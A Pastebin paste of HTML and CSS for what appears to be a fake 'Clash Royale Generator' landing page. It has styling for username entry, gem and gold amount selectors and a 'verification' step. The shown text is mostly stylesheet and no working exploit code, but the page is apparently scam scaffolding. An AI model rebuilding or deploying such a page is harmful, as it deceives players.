API tools faq
paste
Guest User

clash royale landing

a guest
Nov 12th, 2017
201
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 73.89 KB | None | 0 0
raw download clone embed print report
  1. <!DOCTYPE html>
  2. <html lang="en">
  3.     <head>
  4.         <meta charset="utf-8">
  5.         <meta http-equiv="X-UA-Compatible" content="IE=edge">
  6.         <meta name="viewport" content="width=device-width, initial-scale=1">
  7.         <title>Official Clash Royale Generator 2017</title>
  8.  
  9.         <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" integrity="sha384-1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8hDDdjZlpLegxhjVME1fgjWPGmkzs7" crossorigin="anonymous">
  10.        
  11.        
  12.        
  13.        
  14.         <style>
  15.            
  16. .mfp-bg {
  17.   top: 0;
  18.   left: 0;
  19.   width: 100%;
  20.   height: 100%;
  21.   z-index: 1042;
  22.   overflow: hidden;
  23.   position: fixed;
  24.   background: #0b0b0b;
  25.   opacity: 0.8;
  26.   filter: alpha(opacity=80); }
  27.  
  28. .mfp-wrap {
  29.   top: 0;
  30.   left: 0;
  31.   width: 100%;
  32.   height: 100%;
  33.   z-index: 1043;
  34.   position: fixed;
  35.   outline: none !important;
  36.   -webkit-backface-visibility: hidden; }
  37.  
  38. .mfp-container {
  39.   text-align: center;
  40.   position: absolute;
  41.   width: 100%;
  42.   height: 100%;
  43.   left: 0;
  44.   top: 0;
  45.   padding: 0 8px;
  46.   -webkit-box-sizing: border-box;
  47.   -moz-box-sizing: border-box;
  48.   box-sizing: border-box; }
  49.  
  50. .mfp-container:before {
  51.   content: '';
  52.   display: inline-block;
  53.   height: 100%;
  54.   vertical-align: middle; }
  55.  
  56. .mfp-align-top .mfp-container:before {
  57.   display: none; }
  58.  
  59. .mfp-content {
  60.   position: relative;
  61.   display: inline-block;
  62.   vertical-align: middle;
  63.   margin: 0 auto;
  64.   text-align: left;
  65.   z-index: 1045; }
  66.  
  67. .mfp-inline-holder .mfp-content, .mfp-ajax-holder .mfp-content {
  68.   width: 100%;
  69.   cursor: auto; }
  70.  
  71. .mfp-ajax-cur {
  72.   cursor: progress; }
  73.  
  74. .mfp-zoom-out-cur, .mfp-zoom-out-cur .mfp-image-holder .mfp-close {
  75.   cursor: -moz-zoom-out;
  76.   cursor: -webkit-zoom-out;
  77.   cursor: zoom-out; }
  78.  
  79. .mfp-zoom {
  80.   cursor: pointer;
  81.   cursor: -webkit-zoom-in;
  82.   cursor: -moz-zoom-in;
  83.   cursor: zoom-in; }
  84.  
  85. .mfp-auto-cursor .mfp-content {
  86.   cursor: auto; }
  87.  
  88. .mfp-close, .mfp-arrow, .mfp-preloader, .mfp-counter {
  89.   -webkit-user-select: none;
  90.   -moz-user-select: none;
  91.   user-select: none; }
  92.  
  93. .mfp-loading.mfp-figure {
  94.   display: none; }
  95.  
  96. .mfp-hide {
  97.   display: none !important; }
  98.  
  99. .mfp-preloader {
  100.   color: #CCC;
  101.   position: absolute;
  102.   top: 50%;
  103.   width: auto;
  104.   text-align: center;
  105.   margin-top: -0.8em;
  106.   left: 8px;
  107.   right: 8px;
  108.   z-index: 1044; }
  109.   .mfp-preloader a {
  110.     color: #CCC; }
  111.     .mfp-preloader a:hover {
  112.       color: #FFF; }
  113.  
  114. .mfp-s-ready .mfp-preloader {
  115.   display: none; }
  116.  
  117. .mfp-s-error .mfp-content {
  118.   display: none; }
  119.  
  120. button.mfp-close, button.mfp-arrow {
  121.   overflow: visible;
  122.   cursor: pointer;
  123.   background: transparent;
  124.   border: 0;
  125.   -webkit-appearance: none;
  126.   display: block;
  127.   outline: none;
  128.   padding: 0;
  129.   z-index: 1046;
  130.   -webkit-box-shadow: none;
  131.   box-shadow: none; }
  132. button::-moz-focus-inner {
  133.   padding: 0;
  134.   border: 0; }
  135.  
  136. .mfp-close {
  137.   width: 44px;
  138.   height: 44px;
  139.   line-height: 44px;
  140.   position: absolute;
  141.   right: 0;
  142.   top: 0;
  143.   text-decoration: none;
  144.   text-align: center;
  145.   opacity: 0.65;
  146.   filter: alpha(opacity=65);
  147.   padding: 0 0 18px 10px;
  148.   color: #FFF;
  149.   font-style: normal;
  150.   font-size: 28px;
  151.   font-family: Arial, Baskerville, monospace; }
  152.   .mfp-close:hover, .mfp-close:focus {
  153.     opacity: 1;
  154.     filter: alpha(opacity=100); }
  155.   .mfp-close:active {
  156.     top: 1px; }
  157.  
  158. .mfp-close-btn-in .mfp-close {
  159.   color: #333; }
  160.  
  161. .mfp-image-holder .mfp-close, .mfp-iframe-holder .mfp-close {
  162.   color: #FFF;
  163.   right: -6px;
  164.   text-align: right;
  165.   padding-right: 6px;
  166.   width: 100%; }
  167.  
  168. .mfp-counter {
  169.   position: absolute;
  170.   top: 0;
  171.   right: 0;
  172.   color: #CCC;
  173.   font-size: 12px;
  174.   line-height: 18px;
  175.   white-space: nowrap; }
  176.  
  177. .mfp-arrow {
  178.   position: absolute;
  179.   opacity: 0.65;
  180.   filter: alpha(opacity=65);
  181.   margin: 0;
  182.   top: 50%;
  183.   margin-top: -55px;
  184.   padding: 0;
  185.   width: 90px;
  186.   height: 110px;
  187.   -webkit-tap-highlight-color: rgba(0, 0, 0, 0); }
  188.   .mfp-arrow:active {
  189.     margin-top: -54px; }
  190.   .mfp-arrow:hover, .mfp-arrow:focus {
  191.     opacity: 1;
  192.     filter: alpha(opacity=100); }
  193.   .mfp-arrow:before, .mfp-arrow:after, .mfp-arrow .mfp-b, .mfp-arrow .mfp-a {
  194.     content: '';
  195.     display: block;
  196.     width: 0;
  197.     height: 0;
  198.     position: absolute;
  199.     left: 0;
  200.     top: 0;
  201.     margin-top: 35px;
  202.     margin-left: 35px;
  203.     border: medium inset transparent; }
  204.   .mfp-arrow:after, .mfp-arrow .mfp-a {
  205.     border-top-width: 13px;
  206.     border-bottom-width: 13px;
  207.     top: 8px; }
  208.   .mfp-arrow:before, .mfp-arrow .mfp-b {
  209.     border-top-width: 21px;
  210.     border-bottom-width: 21px;
  211.     opacity: 0.7; }
  212.  
  213. .mfp-arrow-left {
  214.   left: 0; }
  215.   .mfp-arrow-left:after, .mfp-arrow-left .mfp-a {
  216.     border-right: 17px solid #FFF;
  217.     margin-left: 31px; }
  218.   .mfp-arrow-left:before, .mfp-arrow-left .mfp-b {
  219.     margin-left: 25px;
  220.     border-right: 27px solid #3F3F3F; }
  221.  
  222. .mfp-arrow-right {
  223.   right: 0; }
  224.   .mfp-arrow-right:after, .mfp-arrow-right .mfp-a {
  225.     border-left: 17px solid #FFF;
  226.     margin-left: 39px; }
  227.   .mfp-arrow-right:before, .mfp-arrow-right .mfp-b {
  228.     border-left: 27px solid #3F3F3F; }
  229.  
  230. .mfp-iframe-holder {
  231.   padding-top: 40px;
  232.   padding-bottom: 40px; }
  233.   .mfp-iframe-holder .mfp-content {
  234.     line-height: 0;
  235.     width: 100%;
  236.     max-width: 900px; }
  237.   .mfp-iframe-holder .mfp-close {
  238.     top: -40px; }
  239.  
  240. .mfp-iframe-scaler {
  241.   width: 100%;
  242.   height: 0;
  243.   overflow: hidden;
  244.   padding-top: 56.25%; }
  245.   .mfp-iframe-scaler iframe {
  246.     position: absolute;
  247.     display: block;
  248.     top: 0;
  249.     left: 0;
  250.     width: 100%;
  251.     height: 100%;
  252.     box-shadow: 0 0 8px rgba(0, 0, 0, 0.6);
  253.     background: #000; }
  254.  
  255. /* Main image in popup */
  256. img.mfp-img {
  257.   width: auto;
  258.   max-width: 100%;
  259.   height: auto;
  260.   display: block;
  261.   line-height: 0;
  262.   -webkit-box-sizing: border-box;
  263.   -moz-box-sizing: border-box;
  264.   box-sizing: border-box;
  265.   padding: 40px 0 40px;
  266.   margin: 0 auto; }
  267.  
  268. /* The shadow behind the image */
  269. .mfp-figure {
  270.   line-height: 0; }
  271.   .mfp-figure:after {
  272.     content: '';
  273.     position: absolute;
  274.     left: 0;
  275.     top: 40px;
  276.     bottom: 40px;
  277.     display: block;
  278.     right: 0;
  279.     width: auto;
  280.     height: auto;
  281.     z-index: -1;
  282.     box-shadow: 0 0 8px rgba(0, 0, 0, 0.6);
  283.     background: #444; }
  284.   .mfp-figure small {
  285.     color: #BDBDBD;
  286.     display: block;
  287.     font-size: 12px;
  288.     line-height: 14px; }
  289.   .mfp-figure figure {
  290.     margin: 0; }
  291.  
  292. .mfp-bottom-bar {
  293.   margin-top: -36px;
  294.   position: absolute;
  295.   top: 100%;
  296.   left: 0;
  297.   width: 100%;
  298.   cursor: auto; }
  299.  
  300. .mfp-title {
  301.   text-align: left;
  302.   line-height: 18px;
  303.   color: #F3F3F3;
  304.   word-wrap: break-word;
  305.   padding-right: 36px; }
  306.  
  307. .mfp-image-holder .mfp-content {
  308.   max-width: 100%; }
  309.  
  310. .mfp-gallery .mfp-image-holder .mfp-figure {
  311.   cursor: pointer; }
  312.  
  313. @media screen and (max-width: 800px) and (orientation: landscape), screen and (max-height: 300px) {
  314.   /**
  315.        * Remove all paddings around the image on small screen
  316.        */
  317.   .mfp-img-mobile .mfp-image-holder {
  318.     padding-left: 0;
  319.     padding-right: 0; }
  320.   .mfp-img-mobile img.mfp-img {
  321.     padding: 0; }
  322.   .mfp-img-mobile .mfp-figure:after {
  323.     top: 0;
  324.     bottom: 0; }
  325.   .mfp-img-mobile .mfp-figure small {
  326.     display: inline;
  327.     margin-left: 5px; }
  328.   .mfp-img-mobile .mfp-bottom-bar {
  329.     background: rgba(0, 0, 0, 0.6);
  330.     bottom: 0;
  331.     margin: 0;
  332.     top: auto;
  333.     padding: 3px 5px;
  334.     position: fixed;
  335.     -webkit-box-sizing: border-box;
  336.     -moz-box-sizing: border-box;
  337.     box-sizing: border-box; }
  338.     .mfp-img-mobile .mfp-bottom-bar:empty {
  339.       padding: 0; }
  340.   .mfp-img-mobile .mfp-counter {
  341.     right: 5px;
  342.     top: 3px; }
  343.   .mfp-img-mobile .mfp-close {
  344.     top: 0;
  345.     right: 0;
  346.     width: 35px;
  347.     height: 35px;
  348.     line-height: 35px;
  349.     background: rgba(0, 0, 0, 0.6);
  350.     position: fixed;
  351.     text-align: center;
  352.     padding: 0; }
  353.  }
  354.  
  355. @media all and (max-width: 900px) {
  356.   .mfp-arrow {
  357.     -webkit-transform: scale(0.75);
  358.     transform: scale(0.75); }
  359.  
  360.   .mfp-arrow-left {
  361.     -webkit-transform-origin: 0;
  362.     transform-origin: 0; }
  363.  
  364.   .mfp-arrow-right {
  365.     -webkit-transform-origin: 100%;
  366.     transform-origin: 100%; }
  367.  
  368.   .mfp-container {
  369.     padding-left: 6px;
  370.     padding-right: 6px; }
  371.  }
  372.  
  373. .mfp-ie7 .mfp-img {
  374.   padding: 0; }
  375. .mfp-ie7 .mfp-bottom-bar {
  376.   width: 600px;
  377.   left: 50%;
  378.   margin-left: -300px;
  379.   margin-top: 5px;
  380.   padding-bottom: 5px; }
  381. .mfp-ie7 .mfp-container {
  382.   padding: 0; }
  383. .mfp-ie7 .mfp-content {
  384.   padding-top: 44px; }
  385. .mfp-ie7 .mfp-close {
  386.   top: 0;
  387.   right: 0;
  388.   padding-top: 0; }
  389.  
  390. .white-popup-block {
  391.     background:#FFFFFF;
  392.     text-align:left;
  393.     max-width:650px;
  394.     position:relative;
  395.     margin:40px auto;
  396.     padding:20px 30px;
  397. }
  398.  
  399. </style>
  400.  
  401.  
  402.         <style>
  403.            
  404.  
  405. @font-face {
  406.   font-family: ClashRoyal;
  407.   src: url("http://royalehackgenerator.com/font/webfont.ttf");
  408.   font-weight: bold;
  409. }
  410.  
  411. body {
  412.     background-image: url("http://i.imgur.com/goRJHnM.jpg");
  413.     background-size: cover;
  414.     background-repeat: no-repeat;
  415.     font-family: ClashRoyal;
  416.     height: 100%;
  417.     -webkit-box-shadow: inset 3px 9px 93px 34px rgba(0,0,0,0.28);
  418.     -moz-box-shadow: inset 3px 9px 93px 34px rgba(0,0,0,0.28);
  419.     box-shadow: inset 3px 9px 93px 34px rgba(0,0,0,0.28);
  420.     position: relative;
  421.     min-height: 100%;
  422.     overflow: auto;
  423.    
  424. }
  425. html {
  426.     height: 100%;
  427.     min-height: 100%;
  428.     overflow: auto;
  429. }
  430.  
  431. .overlay {
  432.     height: 100%;
  433.     min-height: 100%;
  434.     position: relative;
  435.    
  436.    
  437.  
  438. }
  439.    
  440.  
  441.  
  442. h1 {
  443.     position: relative;
  444.     font-size: 16px;
  445.     text-transform: uppercase;
  446.     color: #fff;
  447.     text-align: left;
  448.     padding: 19px 0px 1px 93px;
  449.     text-shadow: 0 3px 0 #000, -1px -1px 0 #000, 1px -1px 0 #000, -1px 1px 0 #000, 1px 1px 0 #000;
  450.     margin-top: 0px;
  451. }
  452.  
  453. h1:before {
  454.     content: '';
  455.     position: absolute;
  456.     top: 10px;
  457.     left: 16px;
  458.     background: url("http://i.imgur.com/0vdiMJt.jpg");
  459.     width: 68px;
  460.     height: 68px;
  461.     background-size: 100%;
  462.     background-repeat: no-repeat;
  463.     box-shadow: 1px 2.5px 6px 2px rgba(0, 0, 0, 0.7);
  464.     border-radius: 5px;
  465. }
  466.  
  467. .title-wrap {
  468.     float: none;
  469.     width: 283px;
  470. }
  471.  
  472.  
  473.  
  474. .selected-amount-wrapper {
  475.     background-image: linear-gradient(to bottom, rgba(30, 40, 47, 0.77) 0%, rgba(30, 40, 47, 0.77) 50%, rgba(2, 13, 23, 0.89) 51%, rgba(2, 13, 23, 0.89) 100%);
  476.     padding: 4px 0px 4px 0px;
  477.     font-size: 14px;
  478.    
  479.     padding-right: 25px;
  480.     text-align:right;
  481.     -webkit-border-radius: 2px;
  482.     -moz-border-radius: 2px;
  483.     border-radius: 2px;
  484.    position: relative;
  485.     color: #fff;
  486.     cursor: default;
  487. }
  488.  
  489. .single-resource-wrapper {
  490.     margin-bottom: 15px;
  491.     padding-right: 10px;
  492.     padding-left:10px;
  493. }
  494.  
  495.  
  496. .value-button-wrapper {
  497.     position: relative;
  498.     -webkit-transition: all 0.2s ease-in-out 0s;
  499.     -moz-transition: all 0.2s ease-in-out 0s;
  500.     -ms-transition: all 0.2s ease-in-out 0s;
  501.     -o-transition: all 0.2s ease-in-out 0s;
  502.     transition: all 0.2s ease-in-out 0s;
  503. }
  504.  
  505.  
  506.  
  507.  
  508. .value-button.btn-disabled {
  509.     border: 2px solid transparent; 
  510. }
  511. .value-button::selection {
  512.   background: none;
  513. }
  514. .value-button::-moz-selection {
  515.   background: none;
  516. }
  517. .value-button:active {
  518.     transform:scale(0.9,0.9);
  519. }
  520. .value-button.btn-disabled:active {
  521.     transform:scale(1,1);
  522. }
  523.  
  524. .decrease-button.btn-disabled {
  525.     color: #666;
  526.    
  527.     cursor: not-allowed;
  528. }
  529. .increase-button.btn-disabled {
  530.     color:#666;
  531.     opacity: .5;
  532.     cursor: not-allowed;
  533. }
  534. .panel-title {
  535.     margin-bottom: 15px;
  536. }
  537. .panel-title h2 {
  538.     margin: 0;
  539. }
  540.  
  541.  
  542.  
  543.  
  544.  
  545.  
  546.  
  547. .resource-img {
  548.     max-width: 46px;
  549.     position: absolute;
  550.     right: -13px;
  551.     top: -9px;
  552. }
  553.  
  554.  
  555. .max-amount {
  556.     display: none;
  557.     content: 'MAX';
  558.     color: #24272d;
  559.     right: 15px;
  560.     top: 2px;
  561.     position: absolute;
  562. }
  563. .max-amount::selection {
  564.   background: none;
  565. }
  566. .max-amount::-moz-selection {
  567.   background: none;
  568. }
  569.  
  570.  
  571. .royalgold-amount,
  572. .royalgem-amount {
  573.     color: #d4d4d6;
  574.     font-weight: 600;
  575. }
  576.  
  577.  
  578.  
  579.  
  580.  
  581.  
  582.  
  583. .control-increase {
  584.     position: absolute;
  585.     left: -11px;
  586.     top: -35px;
  587.     width: 37px;
  588. }
  589.  
  590.  
  591. .control-increase img {
  592.     height: 40px;
  593. }
  594.  
  595. .control-decrease {
  596.     position: absolute;
  597.     top: -2px;
  598.     right: -19px;
  599.     width: 37px;
  600.     line-height: 32px;
  601. }
  602.  
  603.  
  604. .resources-select-wrapper {
  605.     margin-top: 30px;
  606. }
  607.  
  608.  
  609. .username-wraper {
  610.     margin-top: 10px;
  611.     padding-right: 0px;
  612.     padding-left: 0px;
  613.     margin-bottom: 30px;
  614.     position: relative;
  615. }
  616.  
  617. .username-wrap {
  618.     padding-right: 0px;
  619.     padding-left: 0px;
  620.     text-align: center;
  621.     position: relative;
  622. }
  623.  
  624. .username-wrap input {
  625.     width: 100%;
  626.     padding: 3px 3px;
  627.      background:rgba(2, 13, 23, 0.80);
  628.      color: #fff;
  629.      border-radius: 4px;
  630.      border:none;
  631.      outline: 0;
  632.      margin-top: -1px;
  633. }
  634.  
  635.  
  636. .connect-button {
  637.     position: absolute;
  638.     top: 21px;
  639.     right: -21px;
  640. }
  641.  
  642. .connect-button:active {
  643.     transform:scale(0.9,0.9);
  644. }
  645.  
  646. .connect-button img {
  647.     height: 32px;
  648. }
  649.  
  650. .username-wrap label {
  651.     font-size: 12px;
  652.     letter-spacing: .3px;
  653.     color: #fff;
  654.     text-shadow: 0 3px 0 #000, -1px -1px 0 #000, 1px -1px 0 #000, -1px 1px 0 #000, 1px 1px 0 #000;
  655.     text-align: left;
  656. }
  657.  
  658. .usernameicn-backg {
  659.     background-color: rgba(39, 51, 62, 0.61);
  660.     padding-right: 0px;
  661.     overflow: auto;
  662.     border-radius: 4px;
  663.     padding: 5px 10px 10px 10px;
  664.     box-shadow: 1px 2px 2px .2px rgba(0, 0, 0, 0.7);
  665.     border: 1px solid rgba(85, 219, 222, 0.58);
  666. }
  667.  
  668. .username-control {
  669.     padding-left: 15px;
  670.     padding-right: 0px;
  671.  
  672. }
  673.  
  674. .acc-icon {
  675.     padding: 7px;
  676.     background:  rgba(39, 51, 62, 0.61);
  677.     max-width: 63.75px;
  678.     border-radius: 5px;
  679.     position: relative;
  680.     border: 1px solid rgba(85, 219, 222, 0.58);
  681.         box-shadow: 1px 2px 1px 2px rgba(0, 0, 0, 0.7);
  682.  
  683. }
  684.  
  685. .acc-icon:active {
  686.     transform:scale(0.9,0.9);
  687. }
  688.  
  689.  
  690. .acc-icon img {
  691.     height: 50px;
  692. }
  693.  
  694. .username-wrap2 {
  695.     padding-right: 0px;
  696.     padding-left: 0px;
  697.     text-align: left;
  698.     position: relative;
  699.     color: #fff;
  700.     text-shadow: 0 3px 0 #000, -1px -1px 0 #000, 1px -1px 0 #000, -1px 1px 0 #000, 1px 1px 0 #000;
  701.     display: none;
  702. }
  703.  
  704.  
  705. #user-text {
  706.     margin-bottom: 0px;
  707.     margin-top: 5px;
  708.     font-size: 16px;
  709. }
  710.  
  711. .username-wrap2 img {
  712.     height: 46px;
  713.     float: left;
  714.     margin-top: 4px;
  715.     margin-right: 3px;
  716.  
  717. }
  718.  
  719. .connected-usr {
  720.     font-size: 12px;
  721.     margin-bottom: 0px;
  722.     color: #ffffcc;
  723. }
  724.  
  725. .yes-confirm {
  726.     position: absolute;
  727.     top: 13px;
  728.     right: -20px;
  729.     height: 24px!important;
  730. }
  731.  
  732.  
  733. .icon-effect {
  734.     background-color: rgba(255, 255, 255, 0.43);
  735.    
  736.     height: 39%;
  737.     position: absolute;
  738.     top: 3px;
  739.     right: 3px;
  740.     left: 3px;
  741.     border-radius: 4px;
  742.    
  743.     z-index: -1;
  744. }
  745.  
  746. .display-none {
  747.     display: none;
  748. }
  749.  
  750.  
  751. .arena-img {
  752.     max-height: 260px;
  753.     margin-top: 20px;
  754. }
  755.  
  756.  
  757. .giveway-btn {
  758.     background-image: url("http://i.imgur.com/dOT5NOB.png");
  759.     background-size: 100%;
  760.     height: 73px;
  761.     width: 154px;
  762.     position: relative;
  763.     background-repeat: no-repeat;
  764.     margin-bottom: 83px;
  765. }
  766.  
  767. .giveway-btn-text span {
  768.     position: absolute;
  769.     top: 50%;
  770.     left: 50%;
  771.     transform:translate(-50%,-50%);
  772.     color: #ffffcc;
  773.     font-size: 16px;
  774.     text-shadow: 0 3px 0 #582e00, -1px -1px 0 #582e00, 1px -1px 0 #582e00, -1px 1px 0 #582e00, 1px 1px 0 #582e00;
  775. }
  776.  
  777. .giveway-btn:active {
  778.     transform:scale(0.9,0.9);
  779. }
  780.  
  781.  
  782. .progress {
  783.     height: 22px;
  784.     border:2px solid #222;
  785.     border-radius: 7px;
  786.     background-color: #44433e;
  787.     position: relative;
  788. }
  789.  
  790. .progress span {
  791.     position: relative;
  792.     z-index: 11;
  793.     font-size: 11px;
  794.     top: -2px;
  795.     color: #66feff;
  796.     text-shadow: 0 1px 0 #582e00, -1px -1px 0 #582e00, 1px -1px 0 #582e00, -1px 1px 0 #582e00, 1px 1px 0 #582e00;
  797.    }
  798.  
  799. .progress-bar {
  800.     background-image: linear-gradient(to bottom, #2FD8FF 36%, #25C0EC 41%, #25C0EC 80%, #25C0EC 100%);
  801.     border-radius: 7px;
  802.     position: absolute;
  803.     z-index: 10;
  804.    
  805. }
  806.  
  807. .progress:before {
  808.     content: '';
  809.     border-top: solid #2c2d28 3px;
  810.     position: absolute;
  811.     width: 100%;
  812.     height: 3px;
  813.     left: 0;
  814.     border-radius: 8px;
  815.     z-index: 1;
  816. }
  817.  
  818. .icon-progress {
  819.     position: absolute;
  820.     left: -21px;
  821.     top: 33px;
  822.     z-index: 20;
  823.     height: 49px;
  824. }
  825.  
  826. .giveway-progress {
  827.     text-shadow: 0 2px 0 #000, -1px -1px 0 #000, 1px -1px 0 #000, -1px 1px 0 #000, 1px 1px 0 #000;
  828. }
  829.  
  830.  
  831. .menu-wrap {
  832.     position: fixed;
  833.     bottom: 0px;
  834.     left: 0px;
  835.     right: 0px;
  836.     z-index: 50;
  837. }
  838. .menu-wrap ul {
  839.     padding: 0px;
  840.     margin-bottom: 0px;
  841.     text-align: center;
  842.     position: relative;
  843.     background-color: #334353;
  844.     box-shadow: 3px 1.5px 7px 4px rgba(0, 0, 0, 0.7);
  845. }
  846.  
  847. .menu-wrap ul:before {
  848.     content: '';
  849.     position: absolute;
  850.     height: 2px;
  851.     border-top:2px solid rgba(255, 255, 255, 0.22);
  852.     top:0px;
  853.     left: 0px;
  854.     width: 100%;
  855.     z-index: 3;
  856. }
  857.  
  858. .menu-wrap ul li {
  859.     display: inline-block;
  860.     list-style-type: none;
  861.     padding-bottom: 5px;
  862.     padding-top: 5px;
  863.     border-right: solid 1px #1f2831;
  864.     position: relative;
  865. }
  866.  
  867.  
  868. .menu-wrap ul li:after {
  869.     content: '';
  870.     position: absolute;
  871.     height: 2px;
  872.     border-left: 1px solid rgba(255, 255, 255, 0.22);
  873.     top:0px;
  874.     right: -1px;
  875.     width: 2px;
  876.     height: 100%;
  877. }
  878.  
  879. .menu-wrap ul li img {
  880.     height: 54px;
  881. }
  882.  
  883.  
  884. .battle {
  885.     border:none!important;
  886.     background-image: linear-gradient(to bottom, #4F708F 20%, #5C8CB0 55%);
  887.    
  888.    
  889. }
  890.  
  891. .battle:before {
  892.     content: '';
  893.     position: absolute;
  894.     height: 2px;
  895.     border-left:2px solid rgba(255, 255, 255, 0.18);
  896.     top:0px;
  897.     left: 0px;
  898.     width: 2px;
  899.     height: 100%;
  900. }
  901.  
  902. .battle>img {
  903.         top: -15px!important;
  904.     padding-right: 11px;
  905.     padding-left: 11px;
  906.     position: relative;
  907.     z-index: 5;
  908. }
  909.  
  910.  
  911.  
  912. .battle span {
  913.     display: block;
  914.     font-size: 10px;
  915.     margin-bottom: -4px;
  916.     position: absolute;
  917.     right: 0px;
  918.     left: 0px;
  919.     bottom: 9px;
  920.     text-shadow: 0 2px 0 #000, -1px -1px 0 #000, 1px -1px 0 #000, -1px 1px 0 #000, 1px 1px 0 #000;
  921.     color: #fff;
  922. }
  923.  
  924. .clan {
  925.     border-left: solid 1px #1f2831;
  926. }
  927.  
  928. .clan:before {
  929.     content: '';
  930.     position: absolute;
  931.     height: 2px;
  932.     border-left:2px solid rgba(255, 255, 255, 0.18);
  933.     top:0px;
  934.     left: 0px;
  935.     width: 2px;
  936.     height: 100%;
  937. }
  938.  
  939. .tv-icon {
  940.     border:none!important;
  941. }
  942.  
  943. .tv-icon:after {
  944.     border:none!important;
  945. }
  946.  
  947.  
  948.  
  949.  
  950. .overlay-battle {
  951.     position: absolute;
  952.     background-image: linear-gradient(to bottom, #4F708F 20%, #5C8CB0 55%);
  953.     top: 0;
  954.     left:0;
  955.     bottom: 0;
  956. }
  957.  
  958. .popover-p {
  959.     font-size: 11px;
  960.     margin-bottom: 0px;
  961. }
  962.  
  963. .popover.bottom>.arrow {
  964.     left: 50%!important;
  965. }
  966.  
  967. .popover {
  968.     background-color: #ece9e4!important;
  969.     -webkit-animation: bounce 1.8s infinite;
  970.     -moz-animation: bounce 1.8s infinite;
  971.     -o-animation: bounce 1.8s infinite;
  972.     z-index: 1000;
  973. }
  974.  
  975. @keyframes bounce {
  976.  0%, 20%, 50%, 80%, 100% {transform: translateY(0);}
  977.  40% {transform: translateY(-8px);}
  978.  60% {transform: translateY(-2px);}
  979. }
  980.  
  981. #popover2 {
  982.     margin-top: -10px!important;
  983.     position: absolute;
  984.     bottom: 30px;
  985.     left: 10px;
  986. }
  987.  
  988. #popover3 {
  989.     margin-top: -10px!important;
  990.     position: absolute;
  991.     top: 10px;
  992.     left: 0px;
  993.     right: 0px;
  994. }
  995.  
  996. .popover-content {
  997.     padding: 10px 9px!important;
  998. }
  999.  
  1000. .clear {
  1001.     clear: both;
  1002. }
  1003.  
  1004.  
  1005.  
  1006. .popup-content {
  1007.     background-color: #deebf1;
  1008.     margin: 3px;
  1009.     border-radius: 4px;
  1010.  
  1011. }
  1012.  
  1013. .popup-content p {
  1014.     margin-bottom: 0px;
  1015.     padding: 10px 22px 10px 22px;
  1016.     text-align: center;
  1017.     font-size: 11.5px;
  1018. }
  1019.  
  1020. .mfp-close {
  1021.     opacity: 1;
  1022.     right: 8px;
  1023.     top: 6px;
  1024.     width: 38px;
  1025. }
  1026.  
  1027. .mfp-close:active {
  1028.     transform:scale(0.9,0.9);
  1029. }
  1030.  
  1031. .popup-list {
  1032.     padding: 0px;
  1033. }
  1034.  
  1035. .popup-list li {
  1036.     display: inline-block;
  1037.     padding: 10px;
  1038.     list-style-type:none;
  1039. }
  1040.  
  1041. .popup-list li img {
  1042.     height: 40px;
  1043. }
  1044.  
  1045. .popup-list li img:active {
  1046.     transform:scale(0.9,0.9);
  1047. }
  1048.  
  1049.  
  1050. .popup-style {
  1051.     background-color: #636a7c;
  1052.     padding: 5px;
  1053.     border-radius: 6px;
  1054.     max-width: 280px;
  1055.     border:solid 2px #333333;
  1056.  
  1057. }
  1058.  
  1059. .popup-style h4 {
  1060.     color: #fff;
  1061.     margin-top: 6px;
  1062.     font-size: 16px;
  1063.     text-shadow: 0 2px 0 #000, -1px -1px 0 #000, 1px -1px 0 #000, -1px 1px 0 #000, 1px 1px 0 #000;
  1064. }
  1065.  
  1066. .popup-style:before {
  1067.     content: '';
  1068.     border-top: 2px solid rgba(241, 216, 197, 0.45);
  1069.     border-top-right-radius: 6px;
  1070.     border-top-left-radius: 6px;
  1071.     top:0;
  1072.     left: 3px;
  1073.     width: 98%;
  1074.     position: absolute;
  1075. }
  1076.  
  1077.  
  1078. .roate-device {
  1079.     height: 100px;
  1080. }
  1081.  
  1082. .verification {
  1083.     display: none;
  1084.     background-color: #384b5e;
  1085.     width: 89%;
  1086.     margin-top: 12px;
  1087.     border:solid 1px #333333;
  1088.     position: relative;
  1089.     border-radius: 6px;
  1090.     color: #fff;
  1091.     padding-bottom: 20px;
  1092. }
  1093.  
  1094. .verification:before {
  1095.     content: '';
  1096.     border-top: 3px solid rgba(241, 216, 197, 0.25);
  1097.     border-top-right-radius: 6px;
  1098.     border-top-left-radius: 6px;
  1099.     top:0;
  1100.     left: 0px;
  1101.     width: 100%;
  1102.     position: absolute;
  1103. }
  1104.  
  1105.  
  1106. .header-wrap {
  1107.     position: relative;
  1108.     height: 100%;
  1109. }
  1110.  
  1111. .header-wrap h4 {
  1112.     font-size: 13px;
  1113.     letter-spacing: 1px;
  1114.     position: absolute;
  1115.     top: 24%;
  1116.     left:50%;
  1117.     transform: translate(-50%,-50%);
  1118.     text-shadow: 0 2px 0 #000, -1px -1px 0 #000, 1px -1px 0 #000, -1px 1px 0 #000, 1px 1px 0 #000;
  1119.  
  1120. }
  1121.  
  1122. .header-wrap img {
  1123.     max-height: 56px;
  1124. }
  1125.  
  1126. .content-ver p {
  1127.     font-size: 11px;
  1128.     text-shadow: 0 1px 0 #000, -1px -1px 0 #000, 1px -1px 0 #000, -1px 1px 0 #000, 1px 1px 0 #000;
  1129.     text-align: center;
  1130.     padding-left: 10px;
  1131.     padding-right: 10px;
  1132. }
  1133.  
  1134. .verify-btn {
  1135.     background-image: url("http://i.imgur.com/dOT5NOB.png");
  1136.     background-size: 100%;
  1137.     height: 61px;
  1138.     width: 126px;
  1139.     position: relative;
  1140.     background-repeat: no-repeat;
  1141.     margin-bottom: 3px;
  1142. }
  1143.  
  1144. .verify-btn-text a {
  1145.     position: absolute;
  1146.     top: 50%;
  1147.     left: 50%;
  1148.     transform:translate(-50%,-50%);
  1149.     color: #ffffcc;
  1150.     font-size: 13px;
  1151.     text-align: center;
  1152.     text-shadow: 0 3px 0 #582e00, -1px -1px 0 #582e00, 1px -1px 0 #582e00, -1px 1px 0 #582e00, 1px 1px 0 #582e00;
  1153. }
  1154.  
  1155. .verify-btn:active {
  1156.     transform:scale(0.9,0.9);
  1157. }
  1158.  
  1159.  
  1160. .clock-img {
  1161.     height: 30px;
  1162. }
  1163.  
  1164.  
  1165. @media only screen and (max-width : 325px) {
  1166.  
  1167.     h1 {
  1168.         font-size: 13px;
